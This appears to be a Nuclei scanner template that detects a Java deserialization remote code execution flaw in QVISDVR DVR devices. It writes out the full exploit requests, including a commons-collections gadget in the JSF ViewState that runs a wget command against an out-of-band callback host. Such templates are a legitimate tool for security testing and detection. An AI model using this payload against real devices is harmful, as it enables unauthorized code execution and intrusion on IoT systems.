漏洞描述
QVISDVR Java-Deserialization was discovered, which could allow remote code execution.
id: qvisdvr-deserialization-rce
info:
name: QVISDVR JSF Deserialization - Remote Code Execution
author: me9187
severity: critical
description: |
QVISDVR Java-Deserialization was discovered, which could allow remote code execution.
reference:
- https://twitter.com/Me9187/status/1414606876575162373
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 2
tags: qvisdvr,rce,deserialization,jsf,iot,vuln
http:
- raw:
- |
GET /qvisdvr/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
extractors:
- type: regex
name: token
group: 1
internal: true
part: header
regex:
- "JSESSIONID=(.*)"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: status
status:
- 500
# digest: 4a0a00473045022072dc7e92a521ac0cd8dffb74466f745673d55202433f342294b5c76c4ab92ef7022100e2dd1c2f0acf66759ea609346b0055f278202ef4bfcd7d8c24f3ab55bf203385:922c64590222798bb761d5b6d8e72950